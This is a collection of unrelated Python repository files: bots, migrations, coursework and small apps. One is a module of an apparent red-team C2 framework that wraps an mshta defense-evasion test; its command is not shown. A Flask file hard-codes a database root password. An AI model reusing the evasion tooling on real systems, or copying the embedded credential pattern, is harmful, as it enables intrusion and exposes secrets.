ctx.send(f'Unloaded `{cog}`') except Exception as error: await ctx.send(f'`{cog}` cannot be unloaded. [{error}]') # Run the client with the token client.run(TOKEN)
b2e6c4acd91caa478d2d82157aad05ea4d9c6664
b4ce93b5e0d6b277a2c56444a466a5e536b81565
/Exercise 010.py
6b39358acad73855cf9d3a127af478f491a48753
[]
no_license
aga-moj-nick/Python-Sets
7268efd5407b978a238fe7a0c08e4bd7275bd02d
0482f83b67af650806a7801a0c47a551da0bb4c8
refs/heads/master
2023-06-19T04:50:28.113658
2021-07-12T11:45:36
2021-07-12T11:45:36
385,227,925
0
0
null
null
null
null
UTF-8
Python
false
false
266
py
# 10. Write a Python program to check if a set is a subset of another set. A = {1, 2, 3, 4, 5} B = {4, 5, 6, 7} C = {2, 3} print (A.issubset (B)) print (A.issubset (C)) print (B.issubset (A)) print (B.issubset (C)) print (C.issubset (A)) print (C.issubset (B))
f5bad10075d526f1170c604c01d93184f945be7f
e215fb7f99d477a79249a322d652f57f8a953964
/mysite/lottery/migrations/0002_auto_20170530_0426.py
74043f4f032aad103d2ad2b8ff6f21ea4d6d0805
[]
no_license
945941192/lottery-analysis
68018918bef12c84e053d787bdf309c02bb2d6ac
b946d8a4ad42210d9536370911febcfeb57ec92e
refs/heads/master
2021-06-22T12:07:19.455408
2017-08-16T02:07:43
2017-08-16T02:07:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
388
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.8 on 2017-05-30 04:26 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('lottery', '0001_initial'), ] operations = [ migrations.RenameModel( old_name='user_info', new_name='UserInfo', ), ]
b5daa30cd64c567c1630ff8ff8a7953b295df52f
7982dfa24ed74a529370ba7983bc406453f5c2e3
/CS596/Homework/HW4&5/PartII_svm/main_svm.py
75ad13dfeb91dd4832d61c69e67c840f201ffdab
[ "MIT" ]
permissive
ko-takahashi/college
0e5c16116b8796bd8bdd16075ecade4214659733
c333f1e1767f1206687f5e9b0fb3f0145b2d5d6a
refs/heads/master
2021-07-16T15:11:45.572037
2021-02-23T19:26:56
2021-02-23T19:26:56
241,546,658
0
0
MIT
2020-10-13T19:40:06
2020-02-19T06:10:56
C#
UTF-8
Python
false
false
4,822
py
import numpy as np import download_data as dl import matplotlib.pyplot as plt import sklearn.svm as svm from sklearn import metrics from conf_matrix import func_confusion_matrix #CS 596, machine learning ## step 1: load data from csv file. data = dl.download_data('crab.csv').values n = 200 #split data S = np.random.permutation(n) #100 training samples Xtr = data[S[:100], :6] Ytr = data[S[:100], 6:].ravel() # 100 testing samples X_test = data[S[100:], :6] Y_test = data[S[100:], 6:].ravel() ## step 2 randomly split Xtr/Ytr into two even subsets: use one for training, another for validation. #############placeholder: training/validation ####################### n2 = len(Xtr) S2 = np.random.permutation(n2) # subsets for training models # has to be half of the 100 previous dataset x_train= Xtr[S2[:50],:] y_train= Ytr[S2[:50]] # subsets for validation x_validation= Xtr[S2[50:],:] y_validation= Ytr[S2[50:]] #############placeholder ####################### ## step 3 Model selection over validation set # consider the parameters C, kernel types (linear, RBF etc.) and kernel # parameters if applicable. # 3.1 Plot the validation errors while using different values of C ( with other hyperparameters fixed) # keeping kernel = "linear" #############placeholder: Figure 1####################### c_parameters = [] c_range = np.arange(0.5,7.0,0.5) svm_c_error = [] for c_value in c_range: model = svm.SVC(kernel='linear', C=c_value) model.fit(X=x_train, y=y_train) error = 1. - model.score(x_validation, y_validation) svm_c_error.append(error) plt.plot(c_range, svm_c_error) plt.title('Linear SVM') plt.xlabel('c values') plt.ylabel('error') #plt.xticks(c_range) plt.show() # needs an index to keep track of the process # c_parameters changes the data before going through the nest for loop index = np.argmin(svm_c_error) c_parameters.append(c_range[index]) svm_c_error = [] for c_value in c_range: model = svm.SVC(kernel='poly', C=c_value) model.fit(X=x_train, y=y_train) error = 1. - model.score(x_validation, y_validation) svm_c_error.append(error) plt.plot(c_range, svm_c_error) plt.title('Polynomial SVM') plt.xlabel('c values') plt.ylabel('error') #plt.xticks(c_range) plt.show() index = np.argmin(svm_c_error) c_parameters.append(c_range[index]) svm_c_error = [] for c_value in c_range: model = svm.SVC(kernel='rbf', C=c_value) model.fit(X=x_train, y=y_train) error = 1. - model.score(x_validation, y_validation) svm_c_error.append(error) plt.plot(c_range, svm_c_error) plt.title('RBF SVM') plt.xlabel('c values') plt.ylabel('error') #plt.xticks(c_range) plt.show() index = np.argmin(svm_c_error) c_parameters.append(c_range[index]) #############placeholder ####################### # 3.2 Plot the validation errors while using linear, RBF kernel, or Polynomial kernel ( with other hyperparameters fixed) #############placeholder: Figure 2####################### kernel_types = ['linear', 'poly', 'rbf'] svm_kernel_error = [] x = 0 for kernel_value in kernel_types: # your own codes model = svm.SVC(kernel = kernel_value, C =c_parameters[x]) model.fit(X=x_train, y=y_train) error = 1. - model.score(x_validation, y_validation) svm_kernel_error.append(error) x +=1 # similar to the for loop used for Figure 1 but x needs to be iterated plt.plot(kernel_types, svm_kernel_error) plt.title('SVM by Kernels') plt.xlabel('Kernel') plt.ylabel('error') plt.xticks(kernel_types) plt.show() best = np.argmin(svm_kernel_error) ## step 4 Select the best model and apply it over the testing subset best_kernel = kernel_types[best] best_c = c_parameters[best] # poly had many that were the "best" model = svm.SVC(kernel=best_kernel, C=best_c) model.fit(X=x_train, y=y_train) ## step 5 evaluate your results with the metrics you have developed in HA3,including accuracy, quantize your results. y_pred = model.predict(X_test) conf_matrix, accuracy, recall_array, precision_array = func_confusion_matrix(Y_test, y_pred) print("Best kernel: {} c = {}".format(best_kernel,best_c)) print("Confusion Matrix: ") print(conf_matrix) print("Average Accuracy: {}".format(accuracy)) print("Per-Class Precision: {}".format(precision_array)) print("Per-Class Recall: {}\n".format(recall_array)) success = (y_pred == Y_test) counter = 0 print("5 Failure Examples") for x in range(len(success)): if(not(success[x])): counter+=1 print("Prediction: {} Ground-truth: {}".format(y_pred[x],Y_test[x])) print("Features: {}\n".format(X_test[x])) if (counter == 5): break counter = 0 print("5 Successs Examples") for x in range(len(success)): if(success[x]): counter+=1 print("Correct Prediction: {}".format(y_pred[x])) print("Features: {}\n".format(X_test[x])) if (counter == 5): break
6faf805fc3ad245879397148af1b9ab1e54ec95f
e02228712ba1c9a4b1b9631eeb33604e921713e1
/migrations/versions/4a1822107283_initial.py
05a205c85672258e8b8cde007d29ccd4564b943e
[]
no_license
mille383/tminus
7ab6119701c8696ae3f200d3152b96822090e772
f0d0f930bcd2955130d7d654e278071d6ce69003
refs/heads/main
2023-06-01T15:37:48.144206
2021-06-20T04:04:22
2021-06-20T04:04:22
378,550,901
0
0
null
null
null
null
UTF-8
Python
false
false
834
py
"""initial Revision ID: 4a1822107283 Revises: Create Date: 2021-06-02 22:47:14.277427 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '4a1822107283' down_revision = None branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('comments', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=50), nullable=True), sa.Column('email', sa.String(length=50), nullable=True), sa.Column('feedback', sa.Text(), nullable=True), sa.PrimaryKeyConstraint('id') ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('comments') # ### end Alembic commands ###
ca04e2805ce6c6c244793223430339e5107737b4
cca89a7bbe2da907a38eb00e9a083f57597273f0
/46. 全排列/pythonCode.py
16e506db4bd24ed12236bb352f774a94bd8a5710
[]
no_license
xerprobe/LeetCodeAnswer
cc87941ef2a25c6aa1366e7a64480dbd72750670
ea1822870f15bdb1a828a63569368b7cd10c6ab8
refs/heads/master
2022-09-23T09:15:42.628793
2020-06-06T16:29:59
2020-06-06T16:29:59
270,215,362
0
0
null
null
null
null
UTF-8
Python
false
false
616
py
from typing import List class Solution: def permute(self, nums: List[int]) -> List[List[int]]: result = [] if(len(nums)<=1): return [nums] for i in range(len(nums)): other = nums[0:i] other.extend(nums[i+1:]) out = self.permute(other) for r in out: r.append(nums[i]) result.extend(out) return result ''' 给定一个 没有重复 数字的序列,返回其所有可能的全排列。 示例: 输入: [1,2,3] 输出: [ [1,2,3], [1,3,2], [2,1,3], [2,3,1], [3,1,2], [3,2,1] ] '''
724bd509d654104b16cd0439a52f2685bd55d641
4ecca520425b9e0d6daaf2386a57091958e59c83
/views.py
52a795b6964bc0874aa159a0a6223199c2038dd6
[]
no_license
AyabongaQwabi/yourvoice
852bad216f05fb7e2364afc4a97664a2c073cca6
bfea1edb2ce79fae9ac528af7515c2d7354509a6
refs/heads/master
2020-05-31T21:11:11.649460
2015-08-03T15:33:26
2015-08-03T15:33:26
40,132,559
0
0
null
null
null
null
UTF-8
Python
false
false
484
py
from flask import render_template, jsonify import MySQLdb from app import app db = MySQLdb.connect(host="localhost", # your host, usually localhost user="root", # your username passwd="theaya5379", # your password db="Nelisa") # name of the data base cur = db.cursor() @app.route('/') @app.route('/home') def home(): user ={'name':'China','spazaname':'eMatolweni'} return render_template('home.html',user=user)
aa62f43d6aaf39692174080e06afc4fab94b3eb3
ff8850b8c143044dbd53c23f678a8d776409e99f
/MindzZBot/Cogs/usercommands.py
ae558d5ab38dd7f03fbc8d7d190156632959f655
[]
no_license
Pudzz/Discord-bot
3d29f48a08a8aa0318e29208692f932a566af4d1
aa90c128d8a1e267028d8167a3afcf38d24b7db2
refs/heads/main
2023-06-01T18:28:48.176393
2021-06-25T21:40:51
2021-06-25T21:40:51
380,358,006
3
0
null
null
null
null
UTF-8
Python
false
false
4,445
py
import random import discord from discord.ext import commands import asyncio # Textchannels where you can't write these commands nowritingchannels = ["🏆server-level-ups", "❔commands-help", "🎧music-bots", "welcome", "botchat", "✅rules", "🎰slot-machine"] rockpaperscissor = ["rock", "paper", "scissors"] class usercmds(commands.Cog): def __init__(self, client): self.client = client @commands.command() async def rps(self,ctx): if not ctx.channel.name in nowritingchannels: await ctx.channel.purge(limit = 1) await ctx.send(f"{ctx.author.mention}, chooses **{random.choice(rockpaperscissor)}**") else: await ctx.channel.purge(limit = 1) @commands.command() async def slap(self, ctx, *, member : discord.Member): if not ctx.channel.name in nowritingchannels: await ctx.channel.purge(limit = 1) await ctx.send(f'{ctx.author.mention} just slapped {member.mention}!') else: await ctx.channel.purge(limit = 1) @commands.command() async def rolldice(self, ctx): if not ctx.channel.name in nowritingchannels: await ctx.channel.purge(limit = 1) numbers = ['1','2','3','4','5','6'] await ctx.send(f"{ctx.author.mention}, you rolled a **{random.choice(numbers)}**") else: await ctx.channel.purge(limit = 1) @commands.command() async def ask(self, ctx, *, question): if not ctx.channel.name in nowritingchannels: responses = [ 'It is certain.', 'Outlook not so good.', 'Yes - definitely.', 'You may rely on it.', 'My reply is no.', 'As I see it, yes.', 'Most likely.', 'Outlook good.', 'Signs point to yes.', 'Reply hazy, try again.', 'Yes.', 'It is decidedly so.', 'Ask again later.', 'Better not tell you now.', 'Cannot predict now.', 'Concentrate and ask again.', "Don't count on it.", 'My sources say no.', 'Without a doubt.', 'Very doubtful.' ] await ctx.channel.purge(limit = 1) await ctx.send(f'Question: {question}\nAnswer: {random.choice(responses)}') else: await ctx.channel.purge(limit = 1) @commands.command(pass_context=True) async def poll(self, ctx, question, *options: str): if not str(ctx.channel.name) in nowritingchannels: await ctx.channel.purge(limit = 1) if len(options) <= 1: await ctx.send('You need more than one option to make a poll!') return if len(options) > 10: await ctx.send('You cannot make a poll for more than 10 things!') return if len(options) == 2 and options[0] == 'yes' and options[1] == 'no': reactions = ['✅', '❌'] else: reactions = ['1⃣', '2⃣', '3⃣', '4⃣', '5⃣', '6⃣', '7⃣', '8⃣', '9⃣', '🔟'] embed = discord.Embed(title="{}'s poll request".format(ctx.author.name)) embed.add_field(name = "Question: ", value = f"{question}", inline= False) for x, option in enumerate(options): embed.add_field(name = f"{option}", value = f"{reactions[x]}", inline= True) embed.set_thumbnail(url=ctx.author.avatar_url) react_message = await ctx.send(embed=embed) for reaction in reactions[:len(options)]: await react_message.add_reaction(reaction) else: await ctx.channel.purge(limit = 1) @commands.command() async def countdown(self, ctx): '''It's the final countdown''' countdown = ['five', 'four', 'three', 'two', 'one'] for num in countdown: message = await ctx.send('**:{0}:**'.format(num)) await asyncio.sleep(1) await ctx.send('**:ok:**') def setup(client): client.add_cog(usercmds(client))
280a24dc4c74ffe64f0f4f694968b741ccd67ca9
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/nnbarrel.py
63cbec627f227588bab42f778246cef57d4d2eea
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
1,305
py
ii = [('MarrFDI.py', 7), ('RogePAV2.py', 1), ('CoolWHM2.py', 2), ('RogePAV.py', 2), ('ProuWCM.py', 1), ('MartHSI2.py', 1), ('LeakWTI2.py', 2), ('UnitAI.py', 36), ('KembFJ1.py', 1), ('WilkJMC3.py', 8), ('LeakWTI3.py', 6), ('MarrFDI3.py', 3), ('PeckJNG.py', 6), ('AubePRP.py', 2), ('AdamWEP.py', 5), ('FitzRNS3.py', 4), ('ClarGE2.py', 6), ('WilkJMC2.py', 1), ('CarlTFR.py', 12), ('SeniNSP.py', 7), ('RoscTTI3.py', 2), ('AinsWRR3.py', 2), ('CrokTPS.py', 1), ('ClarGE.py', 3), ('BuckWGM.py', 2), ('IrviWVD.py', 1), ('GilmCRS.py', 2), ('WestJIT2.py', 1), ('DibdTRL2.py', 1), ('AinsWRR.py', 1), ('CrocDNL.py', 11), ('MedwTAI.py', 2), ('WadeJEB.py', 3), ('KirbWPW2.py', 3), ('LeakWTI4.py', 2), ('LeakWTI.py', 3), ('SoutRD.py', 1), ('BuckWGM2.py', 2), ('WheeJPT.py', 1), ('HowiWRL2.py', 2), ('MartHRW.py', 3), ('MackCNH.py', 3), ('WestJIT.py', 3), ('BabbCEM.py', 19), ('FitzRNS4.py', 3), ('DequTKM.py', 1), ('FitzRNS.py', 3), ('BowrJMM.py', 3), ('FerrSDO.py', 1), ('StorJCC.py', 1), ('KembFJ2.py', 1), ('LewiMJW.py', 2), ('MackCNH2.py', 1), ('JacoWHI2.py', 1), ('WilbRLW3.py', 1), ('AinsWRR2.py', 1), ('MereHHB2.py', 3), ('JacoWHI.py', 1), ('ClarGE3.py', 2), ('DibdTRL.py', 2), ('FitzRNS2.py', 1), ('MartHSI.py', 3), ('NortSTC.py', 1), ('BowrJMM2.py', 2), ('KirbWPW.py', 3), ('WaylFEP.py', 11), ('ClarGE4.py', 4)]
e1db2f7a25c8fc04e3123fe7bcf4f286e3c9b124
808e8b0261a8711e563cbffc4f363c9a95d4300a
/photo/urls.py
f788642685c781cc0cdcc978d84c3b3d64231bd8
[ "MIT" ]
permissive
marykamau2/maryGallery
5f544cc082c9d3a96d1983241e7a5452bca2767c
c657e6fc4564521a0110ae9024e5cf22179011bd
refs/heads/master
2023-08-06T15:38:01.427717
2021-09-06T19:19:27
2021-09-06T19:19:27
402,753,305
0
0
null
null
null
null
UTF-8
Python
false
false
820
py
"""photo URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from django.conf.urls import include urlpatterns = [ path('admin/', admin.site.urls), path('',include('mypics.urls')) ]
24ae05824132f080f1853e9da5c07d73fa316c76
d1d79d0c3889316b298852834b346d4246825e66
/blackbot/core/wss/ttp/art/art_T1218.005-1.py
b7628466886fa7782a67ee75ea1b148378b9c165
[]
no_license
ammasajan/Atomic-Red-Team-Intelligence-C2
78d1ed2de49af71d4c3c74db484e63c7e093809f
5919804f0bdeb15ea724cd32a48f377bce208277
refs/heads/master
2023-07-17T12:48:15.249921
2021-08-21T20:10:30
2021-08-21T20:10:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,920
py
from blackbot.core.utils import get_path_in_package from blackbot.core.wss.atomic import Atomic from terminaltables import SingleTable import os import json class Atomic(Atomic): def __init__(self): self.name = 'DefenseEvasion/T1218.005-1' self.controller_type = '' self.external_id = 'T1218.005' self.blackbot_id = 'T1218.005-1' self.version = '' self.language = 'boo' self.description = self.get_description() self.last_updated_by = 'Blackbot, Inc. All Rights reserved' self.references = ["System.Management.Automation"] self.options = {} def payload(self): with open(get_path_in_package('core/wss/ttp/art/src/cmd_prompt.boo'), 'r') as ttp_src: src = ttp_src.read() cmd_script = get_path_in_package('core/wss/ttp/art/cmd_ttp/defenseEvasion/T1218.005-1') with open(cmd_script) as cmd: src = src.replace("CMD_SCRIPT", cmd.read()) return src def get_description(self): path = get_path_in_package('core/wss/ttp/art/cmd_ttp/defenseEvasion/T1218.005-1') with open(path) as text: head = [next(text) for l in range(4)] technique_name = head[0].replace('#TechniqueName: ', '').strip('\n') atomic_name = head[1].replace('#AtomicTestName: ', '').strip('\n') description = head[2].replace('#Description: ', '').strip('\n') language = head[3].replace('#Language: ', '').strip('\n') aux = '' count = 1 for char in description: if char == '&': continue aux += char if count % 126 == 0: aux += '\n' count += 1 out = '{}: {}\n{}\n\n{}\n'.format(technique_name, language, atomic_name, aux) return out
80daa56f631b017efd12901585f1fc0520ebfb24
c94168a19f02906b2b3047bf378810e9d96c7db9
/Day32-Paint.py
e44cfcab10b22e1d26910acbe5ec4faf5c187cde
[]
no_license
cavmp/200DaysofCode
dc754d610c7a95859fd1471c2ada57b85b8f4440
97be78fe9b3972aa79971d523a78a0d7f872e489
refs/heads/master
2022-12-29T23:59:58.323082
2020-10-09T15:39:15
2020-10-09T15:39:15
267,060,637
0
0
null
null
null
null
UTF-8
Python
false
false
2,214
py
from tkinter import * from tkinter.colorchooser import askcolor class Paint(object): def __init__(self): self.root = Tk() self.root.title('Paint') self.canvas = Canvas(self.root, bg='white', width=800, height=700) self.canvas.grid(row=2, columnspan=5) self.pen_button = Button(self.root, text='PEN', command=self.pen) self.pen_button.grid(row=1, column=0) self.brush_button = Button(self.root, text='BRUSH', command=self.brush) self.brush_button.grid(row=1, column=1) self.color_button = Button(self.root, text='COLOR', command=self.choose_color) self.color_button.grid(row=1, column=2) self.eraser_button = Button(self.root, text='ERASER', command=self.eraser) self.eraser_button.grid(row=1, column=3) self.choose_size_button = Scale(self.root, from_=1, to=100, orient=VERTICAL) self.choose_size_button.grid(row=1, column=4) self.setup() self.root.mainloop() def setup(self): self.line_width = self.choose_size_button.get() self.color = 'black' # default color self.eraser_on = False self.active_button = self.pen_button self.canvas.bind('<B1-Motion>', self.paint) def pen(self): self.activate_button(self.pen_button) def brush(self): self.activate_button(self.brush_button) def choose_color(self): self.eraser_on = False self.color = askcolor(color=self.color)[1] def eraser(self): self.activate_button(self.eraser_button, eraser_mode=True) def activate_button(self, some_button, eraser_mode=False): self.active_button.config(relief=RAISED) some_button.config(relief=SUNKEN) self.active_button = some_button self.eraser_on = eraser_mode def paint(self, event): self.line_width = self.choose_size_button.get() paint_color = 'white' if self.eraser_on else self.color x1, y1 = (event.x-1), (event.y-1) x2, y2 = (event.x+1), (event.y+1) self.canvas.create_line(x1, y1, x2, y2, width=self.line_width, fill=paint_color, capstyle=ROUND, smooth=TRUE) if __name__ == '__main__': Paint()